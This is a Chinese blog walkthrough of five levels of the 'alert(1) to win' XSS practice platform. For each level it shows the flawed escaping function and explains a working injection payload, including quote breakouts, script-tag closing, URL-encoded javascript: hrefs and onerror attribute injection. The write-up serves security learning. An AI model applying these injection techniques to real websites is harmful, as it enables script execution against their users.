【alert(1) to win】不完全攻略

alert(1) to win

一个练习XSS的平台,地址:https://alf.nu/alert1

Warmup(14)

给出了一段JavaScript代码

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

对s没有任何校验,payload

");alert(1);("

或者

");alert(1);//

 Adobe (15)

 代码如下

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

全局替换了 " 为 \" ,就是说转义了双引号而没有转义转义字符 \

payload如下

\");alert(1)//

JSON (27)

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

使用了JSON.stringify()函数对s进行处理,该函数会对双引号 " 和转义字符 \ 进行转义,没有对 < > ' / 字符进行处理。

扫描二维码关注公众号,回复: 1011826 查看本文章

payload如下

)</script><script>alert(1)//

闭合括号然后闭合script标签,创建一个新的script标签来执行alert(1),//注释掉多余的字符串

JavaScript (15)

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

这个有点意思,先上payload

%22);alert(1)//

url是放到a标签的href属性中执行的,href 属性用于指定超链接目标的 URL,是支持URL编码的,%22是双引号 " 的URL编码

构造出的a标签为

<a href=javascript:console.log("%22);alert(1)//")></a>
a.click()执行的时候触发了alert(1)

 Markdown (31)

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

第一行代码将所有 < " 字符进行了转义

第二行是将形如 http://S+ 的字符串改写为 <a href="http://S+">http://S+</a> (S+为匹配一个非空白字符一次或多次)

第三行将形如 [[a|b]] 的字符串改写为 <img alt="b" src="a.gif"> 

先放出payload

[[a|http://onerror=alert(1)//]]

该函数构造的结果为

<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

利用 // 来代替空格,href的起始 " 闭合alt的 ",在于 // 注释掉最后的 " 

 

猜你喜欢

转载自www.cnblogs.com/superkrissV/p/9084461.html